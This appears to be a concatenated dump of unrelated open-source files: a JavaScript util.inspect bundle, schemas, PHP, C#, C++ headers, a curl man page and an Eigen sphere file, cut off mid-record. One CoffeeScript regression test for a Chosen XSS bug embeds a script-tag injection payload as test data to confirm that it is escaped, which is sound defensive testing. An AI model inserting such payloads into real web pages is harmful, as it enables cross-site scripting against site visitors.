'regexp');\n }\n if (isDate(value)) {\n return ctx.stylize(Date.prototype.toString.call(value), 'date');\n }\n if (isError(value)) {\n return formatError(value);\n }\n }\n\n var base = '', array = false, braces = ['{', '}'];\n\n // Make Array say that they are Array\n if (isArray(value)) {\n array = true;\n braces = ['[', ']'];\n }\n\n // Make functions say that they are functions\n if (isFunction(value)) {\n var n = value.name ? ': ' + value.name : '';\n base = ' [Function' + n + ']';\n }\n\n // Make RegExps say that they are RegExps\n if (isRegExp(value)) {\n base = ' ' + RegExp.prototype.toString.call(value);\n }\n\n // Make dates with properties first say the date\n if (isDate(value)) {\n base = ' ' + Date.prototype.toUTCString.call(value);\n }\n\n // Make error with message first say the error\n if (isError(value)) {\n base = ' ' + formatError(value);\n }\n\n if (keys.length === 0 && (!array || value.length == 0)) {\n return braces[0] + base + braces[1];\n }\n\n if (recurseTimes < 0) {\n if (isRegExp(value)) {\n return ctx.stylize(RegExp.prototype.toString.call(value), 'regexp');\n } else {\n return ctx.stylize('[Object]', 'special');\n }\n }\n\n ctx.seen.push(value);\n\n var output;\n if (array) {\n output = formatArray(ctx, value, recurseTimes, visibleKeys, keys);\n } else {\n output = keys.map(function(key) {\n return formatProperty(ctx, value, recurseTimes, visibleKeys, key, array);\n });\n }\n\n ctx.seen.pop();\n\n return reduceToSingleString(output, base, braces);\n}\n\n\nfunction formatPrimitive(ctx, value) {\n if (isUndefined(value))\n return ctx.stylize('undefined', 'undefined');\n if (isString(value)) {\n var simple = '\\'' + JSON.stringify(value).replace(/^\"|\"$/g, '')\n .replace(/'/g, \"\\\\'\")\n .replace(/\\\\\"/g, '\"') + '\\'';\n return ctx.stylize(simple, 'string');\n }\n if (isNumber(value))\n return ctx.stylize('' + value, 'number');\n if (isBoolean(value))\n return ctx.stylize('' + value, 'boolean');\n // For some reason typeof null is \"object\", so special case here.\n if (isNull(value))\n return ctx.stylize('null', 'null');\n}\n\n\nfunction formatError(value) {\n return '[' + Error.prototype.toString.call(value) + ']';\n}\n\n\nfunction formatArray(ctx, value, recurseTimes, visibleKeys, keys) {\n var output = [];\n for (var i = 0, l = value.length; i < l; ++i) {\n if (hasOwnProperty(value, String(i))) {\n output.push(formatProperty(ctx, value, recurseTimes, visibleKeys,\n String(i), true));\n } else {\n output.push('');\n }\n }\n\n shims.forEach(keys, function(key) {\n if (!key.match(/^\\d+$/)) {\n output.push(formatProperty(ctx, value, recurseTimes, visibleKeys,\n key, true));\n }\n });\n return output;\n}\n\n\nfunction formatProperty(ctx, value, recurseTimes, visibleKeys, key, array) {\n var name, str, desc;\n desc = shims.getOwnPropertyDescriptor(value, key) || { value: value[key] };\n if (desc.get) {\n if (desc.set) {\n str = ctx.stylize('[Getter/Setter]', 'special');\n } else {\n str = ctx.stylize('[Getter]', 'special');\n }\n } else {\n if (desc.set) {\n str = ctx.stylize('[Setter]', 'special');\n }\n }\n\n if (!hasOwnProperty(visibleKeys, key)) {\n name = '[' + key + ']';\n }\n if (!str) {\n if (shims.indexOf(ctx.seen, desc.value) < 0) {\n if (isNull(recurseTimes)) {\n str = formatValue(ctx, desc.value, null);\n } else {\n str = formatValue(ctx, desc.value, recurseTimes - 1);\n }\n if (str.indexOf('\\n') > -1) {\n if (array) {\n str = str.split('\\n').map(function(line) {\n return ' ' + line;\n }).join('\\n').substr(2);\n } else {\n str = '\\n' + str.split('\\n').map(function(line) {\n return ' ' + line;\n }).join('\\n');\n }\n }\n } else {\n str = ctx.stylize('[Circular]', 'special');\n }\n }\n if (isUndefined(name)) {\n if (array && key.match(/^\\d+$/)) {\n return str;\n }\n name = JSON.stringify('' + key);\n if (name.match(/^\"([a-zA-Z_][a-zA-Z_0-9]*)\"$/)) {\n name = name.substr(1, name.length - 2);\n name = ctx.stylize(name, 'name');\n } else {\n name = name.replace(/'/g, \"\\\\'\")\n .replace(/\\\\\"/g, '\"')\n .replace(/(^\"|\"$)/g, \"'\");\n name = ctx.stylize(name, 'string');\n }\n }\n\n return name + ': ' + str;\n}\n\n\nfunction reduceToSingleString(output, base, braces) {\n var numLinesEst = 0;\n var length = shims.reduce(output, function(prev, cur) {\n numLinesEst++;\n if (cur.indexOf('\\n') >= 0) numLinesEst++;\n return prev + cur.replace(/\\u001b\\[\\d\\d?m/g, '').length + 1;\n }, 0);\n\n if (length > 60) {\n return braces[0] +\n (base === '' ? '' : base + '\\n ') +\n ' ' +\n output.join(',\\n ') +\n ' ' +\n braces[1];\n }\n\n return braces[0] + base + ' ' + output.join(', ') + ' ' + braces[1];\n}\n\n\n// NOTE: These type checking functions intentionally don't use `instanceof`\n// because it is fragile and can be easily faked with `Object.create()`.\nfunction isArray(ar) {\n return shims.isArray(ar);\n}\nexports.isArray = isArray;\n\nfunction isBoolean(arg) {\n return typeof arg === 'boolean';\n}\nexports.isBoolean = isBoolean;\n\nfunction isNull(arg) {\n return arg === null;\n}\nexports.isNull = isNull;\n\nfunction isNullOrUndefined(arg) {\n return arg == null;\n}\nexports.isNullOrUndefined = isNullOrUndefined;\n\nfunction isNumber(arg) {\n return typeof arg === 'number';\n}\nexports.isNumber = isNumber;\n\nfunction isString(arg) {\n return typeof arg === 'string';\n}\nexports.isString = isString;\n\nfunction isSymbol(arg) {\n return typeof arg === 'symbol';\n}\nexports.isSymbol = isSymbol;\n\nfunction isUndefined(arg) {\n return arg === void 0;\n}\nexports.isUndefined = isUndefined;\n\nfunction isRegExp(re) {\n return isObject(re) && objectToString(re) === '[object RegExp]';\n}\nexports.isRegExp = isRegExp;\n\nfunction isObject(arg) {\n return typeof arg === 'object' && arg;\n}\nexports.isObject = isObject;\n\nfunction isDate(d) {\n return isObject(d) && objectToString(d) === '[object Date]';\n}\nexports.isDate = isDate;\n\nfunction isError(e) {\n return isObject(e) && objectToString(e) === '[object Error]';\n}\nexports.isError = isError;\n\nfunction isFunction(arg) {\n return typeof arg === 'function';\n}\nexports.isFunction = isFunction;\n\nfunction isPrimitive(arg) {\n return arg === null ||\n typeof arg === 'boolean' ||\n typeof arg === 'number' ||\n typeof arg === 'string' ||\n typeof arg === 'symbol' || // ES6 symbol\n typeof arg === 'undefined';\n}\nexports.isPrimitive = isPrimitive;\n\nfunction isBuffer(arg) {\n return arg && typeof arg === 'object'\n && typeof arg.copy === 'function'\n && typeof arg.fill === 'function'\n && typeof arg.binarySlice === 'function'\n ;\n}\nexports.isBuffer = isBuffer;\n\nfunction objectToString(o) {\n return Object.prototype.toString.call(o);\n}\n\n\nfunction pad(n) {\n return n < 10 ? '0' + n.toString(10) : n.toString(10);\n}\n\n\nvar months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep',\n 'Oct', 'Nov', 'Dec'];\n\n// 26 Feb 16:19:34\nfunction timestamp() {\n var d = new Date();\n var time = [pad(d.getHours()),\n pad(d.getMinutes()),\n pad(d.getSeconds())].join(':');\n return [d.getDate(), months[d.getMonth()], time].join(' ');\n}\n\n\n// log is just a thin wrapper to console.log that prepends a timestamp\nexports.log = function() {\n console.log('%s - %s', timestamp(), exports.format.apply(exports, arguments));\n};\n\n\n/**\n * Inherit the prototype methods from one constructor into another.\n *\n * The Function.prototype.inherits from lang.js rewritten as a standalone\n * function (not on Function.prototype). NOTE: If this file is to be loaded\n * during bootstrapping this function needs to be rewritten using some native\n * functions as prototype setup using normal JavaScript does not work as\n * expected during bootstrapping (see mirror.js in r114903).\n *\n * @param {function} ctor Constructor function which needs to inherit the\n * prototype.\n * @param {function} superCtor Constructor function to inherit prototype from.\n */\nexports.inherits = function(ctor, superCtor) {\n ctor.super_ = superCtor;\n ctor.prototype = shims.create(superCtor.prototype, {\n constructor: {\n value: ctor,\n enumerable: false,\n writable: true,\n configurable: true\n }\n });\n};\n\nexports._extend = function(origin, add) {\n // Don't do anything if add isn't an object\n if (!add || !isObject(add)) return origin;\n\n var keys = shims.keys(add);\n var i = keys.length;\n while (i--) {\n origin[keys[i]] = add[keys[i]];\n }\n return origin;\n};\n\nfunction hasOwnProperty(obj, prop) {\n return Object.prototype.hasOwnProperty.call(obj, prop);\n}\n\n},{\"_shims\":34}],38:[function(require,module,exports){\n// shim for using process in browser\n\nvar process = module.exports = {};\n\nprocess.nextTick = (function () {\n var canSetImmediate = typeof window !== 'undefined'\n && window.setImmediate;\n var canPost = typeof window !== 'undefined'\n && window.postMessage && window.addEventListener\n ;\n\n if (canSetImmediate) {\n return function (f) { return window.setImmediate(f) };\n }\n\n if (canPost) {\n var queue = [];\n window.addEventListener('message', function (ev) {\n if (ev.source === window && ev.data === 'process-tick') {\n ev.stopPropagation();\n if (queue.length > 0) {\n var fn = queue.shift();\n fn();\n }\n }\n }, true);\n\n return function nextTick(fn) {\n queue.push(fn);\n window.postMessage('process-tick', '*');\n };\n }\n\n return function nextTick(fn) {\n setTimeout(fn, 0);\n };\n})();\n\nprocess.title = 'browser';\nprocess.browser = true;\nprocess.env = {};\nprocess.argv = [];\n\nprocess.binding = function (name) {\n throw new Error('process.binding is not supported');\n}\n\n// TODO(shtylman)\nprocess.cwd = function () { return '/' };\nprocess.chdir = function (dir) {\n throw new Error('process.chdir is not supported');\n};\n\n},{}]},{},[\"3V0FPO\"])\n(3V0FPO)\n});\n;"} +{"text": "# This source code refers to The Go Authors for copyright purposes.\n# The master list of authors is in the main Go distribution,\n# visible at https://tip.golang.org/AUTHORS.\n"} +{"text": "\n\n\n \n \n AW22 Test.8.4.2 NMI 01\n \n \n
    \n\n

    AW22 Test.8.4.2 NMI 01

    \n\n
    \n Pour chaque page Web ayant une langue par défaut, le code de langue vérifie-t-il ces conditions ?\n
      \n
    • Le code de langue est valide
    • \n
    • Le code de langue est pertinent
    • \n
    \n
    \n\n
    \n Some short text in english\n
    \n\n

    \n Failed : the default language is defined on the html tag but its \n value doesn't match the language definition pattern. \n The tags defined with a lang attribute are ignored.\n The tested text is too short (less than 20 words) to provide\n a decidable result.\n

    \n\n
    \n \n"} +{"text": "datatypes w = \"http://whattf.org/datatype-draft\"\nnamespace local = \"\"\n\n# #####################################################################\n## RELAX NG Schema for HTML 5: Ruby #\n# #####################################################################\n\n#######################################################################\n\n## Ruby Annotation: \n\n\truby.elem =\n\t\telement ruby { ruby.inner & ruby.attrs }\n\truby.attrs =\n\t\t(\tcommon.attrs\n\t\t&\tcommon.attrs.aria?\n\t\t)\n\truby.inner =\n\t\t(\t(\tcommon.inner.phrasing\n\t\t\t|\trb.elem\n\t\t\t)+\n\t\t,\t(\t(\trt.elem\n\t\t\t\t|\trtc.elem\n\t\t\t\t)+\n\t\t\t\t|\t(\trp.elem\n\t\t\t\t\t,\t(\t(\trt.elem\n\t\t\t\t\t\t\t|\trtc.elem\n\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\trp.elem\n\t\t\t\t\t\t)+\n\t\t\t\t\t)\n\t\t\t)\n\t\t)+\n\n\tcommon.elem.phrasing |= ruby.elem\n\n## Ruby Text: \n\n\trt.elem =\n\t\telement rt { rt.inner & rt.attrs }\n\trt.attrs =\n\t\t(\tcommon.attrs\n\t\t&\tcommon.attrs.aria?\n\t\t)\n\trt.inner =\n\t\t( common.inner.phrasing )\n\n## Ruby Text Container: \n\n\trtc.elem =\n\t\telement rtc { rtc.inner & rtc.attrs }\n\trtc.attrs =\n\t\t(\tcommon.attrs\n\t\t&\tcommon.attrs.aria?\n\t\t)\n\trtc.inner =\n\t\t(\tcommon.inner.phrasing\n\t\t\t|\trt.elem\n\t\t\t|\trp.elem\n\t\t)*\n\n## Ruby Base: \n\n\trb.elem =\n\t\telement rb { rb.inner & rb.attrs }\n\trb.attrs =\n\t\t(\tcommon.attrs\n\t\t&\tcommon.attrs.aria?\n\t\t)\n\trb.inner =\n\t\t( common.inner.phrasing )\n\n## Ruby Parenthesis: \n\n\trp.elem =\n\t\telement rp { rp.inner & rp.attrs }\n\trp.attrs =\n\t\t(\tcommon.attrs\n\t\t&\tcommon.attrs.aria?\n\t\t)\n\trp.inner =\n\t\t( text )\n"} +{"text": "queryExtensions;\n } else {\n if (array_key_exists($serviceName, $this->queryExtensions)) {\n if (empty($methodName)) {\n return $this->queryExtensions[$serviceName];\n } else {\n if (array_key_exists($methodName, $this->queryExtensions[$serviceName])) {\n return $this->queryExtensions[$serviceName][$methodName];\n } else {\n return array();\n }\n }\n } else {\n return array();\n }\n }\n }\n \n /**\n *\n * @param array $queryExtensions \n */\n public function setQueryExtensions(array $queryExtensions) {\n $this->queryExtensions = $queryExtensions;\n }\n\n private function __construct() {\n $this->_init();\n }\n\n private function _init() {\n\n $pluginsPath = sfConfig::get('sf_plugins_dir');\n $directoryIterator = new DirectoryIterator($pluginsPath);\n foreach ($directoryIterator as $fileInfo) {\n if ($fileInfo->isDir()) {\n \n $pluginName = $fileInfo->getFilename();\n $configuraitonPath = $pluginsPath . '/' . $pluginName . '/config/query_extensions.yml';\n \n if (is_file($configuraitonPath)) {\n $configuraiton = sfYaml::load($configuraitonPath);\n \n if (!is_array($configuraiton)) {\n continue;\n }\n \n foreach ($configuraiton as $component => $configuraitonForComponent) {\n if (!isset($this->queryExtensions[$component])) {\n $this->queryExtensions[$component] = array();\n }\n \n foreach ($configuraitonForComponent as $property => $value) {\n if (!isset($this->queryExtensions[$component][$property])) {\n $this->queryExtensions[$component][$property] = array();\n }\n \n if (is_array($value)) {\n foreach ($value as $k => $v) {\n if (isset($this->queryExtensions[$component][$property][$k])) {\n $this->queryExtensions[$component][$property][$k] = array_merge($this->queryExtensions[$component][$property][$k], $v);\n } else {\n $this->queryExtensions[$component][$property][$k] = $v;\n }\n }\n } else {\n $this->queryExtensions[$component][$property][] = $value;\n }\n }\n }\n }\n }\n }\n }\n\n}\n\n"} +{"text": "// Copyright 2017 DAIMTO ([Linda Lawton](https://twitter.com/LindaLawtonDK)) : [www.daimto.com](http://www.daimto.com/)\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with\n// the License. You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on\n// an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations under the License.\n//------------------------------------------------------------------------------\n// \n// This code was generated by DAIMTO-Google-apis-Sample-generator 1.0.0\n// Template File Name: Oauth2Authentication.tt\n// Build date: 2017-10-08\n// C# generater version: 1.0.0\n// \n// Changes to this file may cause incorrect behavior and will be lost if\n// the code is regenerated.\n// \n//------------------------------------------------------------------------------ \n// About \n// \n// Unoffical sample for the Androidpublisher v2 API for C#. \n// This sample is designed to be used with the Google .Net client library. (https://github.com/google/google-api-dotnet-client)\n// \n// API Description: Lets Android application developers access their Google Play accounts.\n// API Documentation Link https://developers.google.com/android-publisher\n//\n// Discovery Doc https://www.googleapis.com/discovery/v1/apis/Androidpublisher/v2/rest\n//\n//------------------------------------------------------------------------------\n// Installation\n//\n// This sample code uses the Google .Net client library (https://github.com/google/google-api-dotnet-client)\n//\n// NuGet package:\n//\n// Location: https://www.nuget.org/packages/Google.Apis.Androidpublisher.v2/ \n// Install Command: PM> Install-Package Google.Apis.Androidpublisher.v2\n//\n//------------------------------------------------------------------------------ \nusing Google.Apis.Auth.OAuth2;\nusing Google.Apis.Androidpublisher.v2;\nusing Google.Apis.Services;\nusing Google.Apis.Util.Store;\nusing System;\nusing System.IO;\nusing System.Threading;\n\nnamespace GoogleSamplecSharpSample.Androidpublisherv2.Auth\n{\n public static class Oauth2Example\n {\n /// \n /// ** Installed Aplication only ** \n /// This method requests Authentcation from a user using Oauth2. \n /// \n /// Path to the client secret json file from Google Developers console.\n /// Identifying string for the user who is being authentcated.\n /// Array of Google scopes\n /// AndroidpublisherService used to make requests against the Androidpublisher API\n public static AndroidpublisherService GetAndroidpublisherService(string clientSecretJson, string userName, string[] scopes)\n {\n try\n {\n if (string.IsNullOrEmpty(userName))\n throw new ArgumentNullException(\"userName\");\n if (string.IsNullOrEmpty(clientSecretJson))\n throw new ArgumentNullException(\"clientSecretJson\");\n if (!File.Exists(clientSecretJson))\n throw new Exception(\"clientSecretJson file does not exist.\");\n\n var cred = GetUserCredential(clientSecretJson, userName, scopes);\n return GetService(cred);\n\n }\n catch (Exception ex)\n {\n throw new Exception(\"Get Androidpublisher service failed.\", ex);\n }\n }\n\n /// \n /// ** Installed Aplication only ** \n /// This method requests Authentcation from a user using Oauth2. \n /// Credentials are stored in System.Environment.SpecialFolder.Personal\n /// Documentation https://developers.google.com/accounts/docs/OAuth2\n /// \n /// Path to the client secret json file from Google Developers console.\n /// Identifying string for the user who is being authentcated.\n /// Array of Google scopes\n /// authencated UserCredential\n private static UserCredential GetUserCredential(string clientSecretJson, string userName, string[] scopes)\n {\n try\n {\n if (string.IsNullOrEmpty(userName))\n throw new ArgumentNullException(\"userName\");\n if (string.IsNullOrEmpty(clientSecretJson))\n throw new ArgumentNullException(\"clientSecretJson\");\n if (!File.Exists(clientSecretJson))\n throw new Exception(\"clientSecretJson file does not exist.\");\n\n // These are the scopes of permissions you need. It is best to request only what you need and not all of them \n using (var stream = new FileStream(clientSecretJson, FileMode.Open, FileAccess.Read))\n {\n string credPath = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Personal);\n credPath = Path.Combine(credPath, \".credentials/\", System.Reflection.Assembly.GetExecutingAssembly().GetName().Name);\n\n // Requesting Authentication or loading previously stored authentication for userName\n var credential = GoogleWebAuthorizationBroker.AuthorizeAsync(GoogleClientSecrets.Load(stream).Secrets,\n scopes,\n userName,\n CancellationToken.None,\n new FileDataStore(credPath, true)).Result;\n\n credential.GetAccessTokenForRequestAsync();\n return credential;\n }\n }\n catch (Exception ex)\n {\n throw new Exception(\"Get user credentials failed.\", ex);\n }\n }\n\n /// \n /// This method get a valid service\n /// \n /// Authecated user credentail\n /// AndroidpublisherService used to make requests against the Androidpublisher API\n private static AndroidpublisherService GetService(UserCredential credential)\n {\n try\n {\n if (credential == null)\n throw new ArgumentNullException(\"credential\");\n\n // Create Androidpublisher API service.\n return new AndroidpublisherService(new BaseClientService.Initializer()\n {\n HttpClientInitializer = credential,\n ApplicationName = \"Androidpublisher Oauth2 Authentication Sample\"\n });\n }\n catch (Exception ex)\n {\n throw new Exception(\"Get Androidpublisher service failed.\", ex);\n }\n }\n }\n}"} +{"text": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n"} +{"text": "describe \"Bugfixes\", ->\n it \"https://github.com/harvesthq/chosen/issues/2996 - XSS Vulnerability with `include_group_label_in_selected: true`\", ->\n tmpl = \"\n \n \"\n div = new Element(\"div\")\n document.body.insert(div)\n div.innerHTML = tmpl\n\n select = div.down(\"select\")\n new Chosen select,\n include_group_label_in_selected: true\n\n # open the drop\n container = div.down(\".chosen-container\")\n simulant.fire(container, \"mousedown\") # open the drop\n\n xss_option = container.select(\".active-result\").last()\n expect(xss_option.innerHTML).toBe \"an xss option\"\n\n # trigger the selection of the xss option\n simulant.fire(xss_option, \"mouseup\")\n\n # make sure the script tags are escaped correctly\n label_html = container.down(\"a.chosen-single\").innerHTML\n expect(label_html).toContain('</script><script>console.log(1)</script>')\n\n"} +{"text": "{\n \"created_at\": \"2015-02-27T22:28:16.731042\", \n \"description\": \"A ngx_lua driver for mongodb\", \n \"fork\": true, \n \"full_name\": \"bigplum/lua-resty-mongol\", \n \"language\": \"Perl\", \n \"updated_at\": \"2015-02-27T22:28:16.731083\"\n}"} +{"text": ".\\\" **************************************************************************\n.\\\" * _ _ ____ _\n.\\\" * Project ___| | | | _ \\| |\n.\\\" * / __| | | | |_) | |\n.\\\" * | (__| |_| | _ <| |___\n.\\\" * \\___|\\___/|_| \\_\\_____|\n.\\\" *\n.\\\" * Copyright (C) 1998 - 2014, Daniel Stenberg, , et al.\n.\\\" *\n.\\\" * This software is licensed as described in the file COPYING, which\n.\\\" * you should have received as part of this distribution. The terms\n.\\\" * are also available at https://curl.haxx.se/docs/copyright.html.\n.\\\" *\n.\\\" * You may opt to use, copy, modify, merge, publish, distribute and/or sell\n.\\\" * copies of the Software, and permit persons to whom the Software is\n.\\\" * furnished to do so, under the terms of the COPYING file.\n.\\\" *\n.\\\" * This software is distributed on an \"AS IS\" basis, WITHOUT WARRANTY OF ANY\n.\\\" * KIND, either express or implied.\n.\\\" *\n.\\\" **************************************************************************\n.\\\"\n.TH CURLOPT_OPENSOCKETDATA 3 \"16 Jun 2014\" \"libcurl 7.37.0\" \"curl_easy_setopt options\"\n.SH NAME\nCURLOPT_OPENSOCKETDATA \\- custom pointer passed to open socket callback\n.SH SYNOPSIS\n#include \n\nCURLcode curl_easy_setopt(CURL *handle, CURLOPT_OPENSOCKETDATA, void *pointer);\n.SH DESCRIPTION\nPass a \\fIpointer\\fP that will be untouched by libcurl and passed as the first\nargument in the opensocket callback set with \\fICURLOPT_OPENSOCKETFUNCTION(3)\\fP.\n.SH DEFAULT\nThe default value of this parameter is NULL.\n.SH PROTOCOLS\nAll\n.SH EXAMPLE\nTODO\n.SH AVAILABILITY\nAdded in 7.17.1\n.SH RETURN VALUE\nReturns CURLE_OK if the option is supported, and CURLE_UNKNOWN_OPTION if not.\n.SH \"SEE ALSO\"\n.BR CURLOPT_OPENSOCKETFUNCTION \"(3), \" CURLOPT_SOCKOPTFUNCTION \"(3), \"\n"} +{"text": "/****************************************************************************\nCopyright (c) 2010-2012 cocos2d-x.org\nCopyright (c) 2013-2017 Chukong Technologies Inc.\n\nhttp://www.cocos2d-x.org\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n****************************************************************************/\n#ifndef __AUTORELEASEPOOL_H__\n#define __AUTORELEASEPOOL_H__\n\n#include \n#include \n#include \"base/CCRef.h\"\n\n/**\n * @addtogroup base\n * @{\n */\nNS_CC_BEGIN\n\n\n/**\n * A pool for managing autorelease objects.\n * @js NA\n */\nclass CC_DLL AutoreleasePool\n{\npublic:\n /**\n * @warning Don't create an autorelease pool in heap, create it in stack.\n * @js NA\n * @lua NA\n */\n AutoreleasePool();\n \n /**\n * Create an autorelease pool with specific name. This name is useful for debugging.\n * @warning Don't create an autorelease pool in heap, create it in stack.\n * @js NA\n * @lua NA\n *\n * @param name The name of created autorelease pool.\n */\n AutoreleasePool(const std::string &name);\n \n /**\n * @js NA\n * @lua NA\n */\n ~AutoreleasePool();\n\n /**\n * Add a given object to this autorelease pool.\n *\n * The same object may be added several times to an autorelease pool. When the\n * pool is destructed, the object's `Ref::release()` method will be called\n * the same times as it was added.\n *\n * @param object The object to be added into the autorelease pool.\n * @js NA\n * @lua NA\n */\n void addObject(Ref *object);\n\n /**\n * Clear the autorelease pool.\n *\n * It will invoke each element's `release()` function.\n *\n * @js NA\n * @lua NA\n */\n void clear();\n \n#if defined(COCOS2D_DEBUG) && (COCOS2D_DEBUG > 0)\n /**\n * Whether the autorelease pool is doing `clear` operation.\n *\n * @return True if autorelease pool is clearing, false if not.\n *\n * @js NA\n * @lua NA\n */\n bool isClearing() const { return _isClearing; };\n#endif\n \n /**\n * Checks whether the autorelease pool contains the specified object.\n *\n * @param object The object to be checked.\n * @return True if the autorelease pool contains the object, false if not\n * @js NA\n * @lua NA\n */\n bool contains(Ref* object) const;\n\n /**\n * Dump the objects that are put into the autorelease pool. It is used for debugging.\n *\n * The result will look like:\n * Object pointer address object id reference count\n *\n * @js NA\n * @lua NA\n */\n void dump();\n \nprivate:\n /**\n * The underlying array of object managed by the pool.\n *\n * Although Array retains the object once when an object is added, proper\n * Ref::release() is called outside the array to make sure that the pool\n * does not affect the managed object's reference count. So an object can\n * be destructed properly by calling Ref::release() even if the object\n * is in the pool.\n */\n std::vector _managedObjectArray;\n std::string _name;\n \n#if defined(COCOS2D_DEBUG) && (COCOS2D_DEBUG > 0)\n /**\n * The flag for checking whether the pool is doing `clear` operation.\n */\n bool _isClearing;\n#endif\n};\n\n// end of base group\n/** @} */\n\n/**\n * @cond\n */\nclass CC_DLL PoolManager\n{\npublic:\n\n CC_DEPRECATED_ATTRIBUTE static PoolManager* sharedPoolManager() { return getInstance(); }\n static PoolManager* getInstance();\n \n CC_DEPRECATED_ATTRIBUTE static void purgePoolManager() { destroyInstance(); }\n static void destroyInstance();\n \n /**\n * Get current auto release pool, there is at least one auto release pool that created by engine.\n * You can create your own auto release pool at demand, which will be put into auto release pool stack.\n */\n AutoreleasePool *getCurrentPool() const;\n\n bool isObjectInPools(Ref* obj) const;\n\n\n friend class AutoreleasePool;\n \nprivate:\n PoolManager();\n ~PoolManager();\n \n void push(AutoreleasePool *pool);\n void pop();\n \n static PoolManager* s_singleInstance;\n \n std::vector _releasePoolStack;\n};\n/**\n * @endcond\n */\n\nNS_CC_END\n\n#endif //__AUTORELEASEPOOL_H__\n"} +{"text": "// This file is part of Eigen, a lightweight C++ template library\r\n// for linear algebra.\r\n//\r\n// Copyright (C) 2008 Gael Guennebaud \r\n//\r\n// This Source Code Form is subject to the terms of the Mozilla\r\n// Public License v. 2.0. If a copy of the MPL was not distributed\r\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\r\n\r\n#include \"icosphere.h\"\r\n\r\n#include \r\n#include \r\n\r\nusing namespace Eigen;\r\n\r\n//--------------------------------------------------------------------------------\r\n// icosahedron data\r\n//--------------------------------------------------------------------------------\r\n#define X .525731112119133606\r\n#define Z .850650808352039932\r\n\r\nstatic GLfloat vdata[12][3] = {\r\n {-X, 0.0, Z}, {X, 0.0, Z}, {-X, 0.0, -Z}, {X, 0.0, -Z},\r\n {0.0, Z, X}, {0.0, Z, -X}, {0.0, -Z, X}, {0.0, -Z, -X},\r\n {Z, X, 0.0}, {-Z, X, 0.0}, {Z, -X, 0.0}, {-Z, -X, 0.0}\r\n};\r\n\r\nstatic GLint tindices[20][3] = {\r\n {0,4,1}, {0,9,4}, {9,5,4}, {4,5,8}, {4,8,1},\r\n {8,10,1}, {8,3,10}, {5,3,8}, {5,2,3}, {2,7,3},\r\n {7,10,3}, {7,6,10}, {7,11,6}, {11,0,6}, {0,1,6},\r\n {6,1,10}, {9,0,11}, {9,11,2}, {9,2,5}, {7,2,11} };\r\n//--------------------------------------------------------------------------------\r\n\r\nIcoSphere::IcoSphere(unsigned int levels)\r\n{\r\n // init with an icosahedron\r\n for (int i = 0; i < 12; i++)\r\n mVertices.push_back(Map(vdata[i]));\r\n mIndices.push_back(new std::vector);\r\n std::vector& indices = *mIndices.back();\r\n for (int i = 0; i < 20; i++)\r\n {\r\n for (int k = 0; k < 3; k++)\r\n indices.push_back(tindices[i][k]);\r\n }\r\n mListIds.push_back(0);\r\n\r\n while(mIndices.size()& IcoSphere::indices(int level) const\r\n{\r\n while (level>=int(mIndices.size()))\r\n const_cast(this)->_subdivide();\r\n return *mIndices[level];\r\n}\r\n\r\nvoid IcoSphere::_subdivide(void)\r\n{\r\n typedef unsigned long long Key;\r\n std::map edgeMap;\r\n const std::vector& indices = *mIndices.back();\r\n mIndices.push_back(new std::vector);\r\n std::vector& refinedIndices = *mIndices.back();\r\n int end = indices.size();\r\n for (int i=0; ie0)\r\n std::swap(e0,e1);\r\n Key edgeKey = Key(e0) | (Key(e1)<<32);\r\n std::map::iterator it = edgeMap.find(edgeKey);\r\n if (it==edgeMap.end())\r\n {\r\n ids1[k] = mVertices.size();\r\n edgeMap[edgeKey] = ids1[k];\r\n mVertices.push_back( (mVertices[e0]+mVertices[e1]).normalized() );\r\n }\r\n else\r\n ids1[k] = it->second;\r\n }\r\n refinedIndices.push_back(ids0[0]); refinedIndices.push_back(ids1[0]); refinedIndices.push_back(ids1[2]);\r\n refinedIndices.push_back(ids0[1]); refinedIndices.push_back(ids1[1]); refinedIndices.push_back(ids1[0]);\r\n refinedIndices.push_back(ids0[2]); refinedIndices.push_back(ids1[2]); refinedIndices.push_back(ids1[1]);\r\n refinedIndices.push_back(ids1[0]); refinedIndices.push_back(ids1[1]); refinedIndices.push_back(ids1[2]);\r\n }\r\n mListIds.push_back(0);\r\n}\r\n\r\nvoid IcoSphere::draw(int level)\r\n{\r\n while (level>=int(mIndices.size()))\r\n const_cast(this)->_subdivide();\r\n if (mListIds[level]==0)\r\n {\r\n mListIds[level] = glGenLists(1);\r\n glNewList(mListIds[level], GL_COMPILE);\r\n glVertexPointer(3, GL_FLOAT, 0, mVertices[0].data());\r\n glNormalPointer(GL_FLOAT, 0, mVertices[0].data());\r\n glEnableClientState(GL_VERTEX_ARRAY);\r\n glEnableClientState(GL_NORMAL_ARRAY);\r\n glDrawElements(GL_TRIANGLES, mIndices[level]->size(), 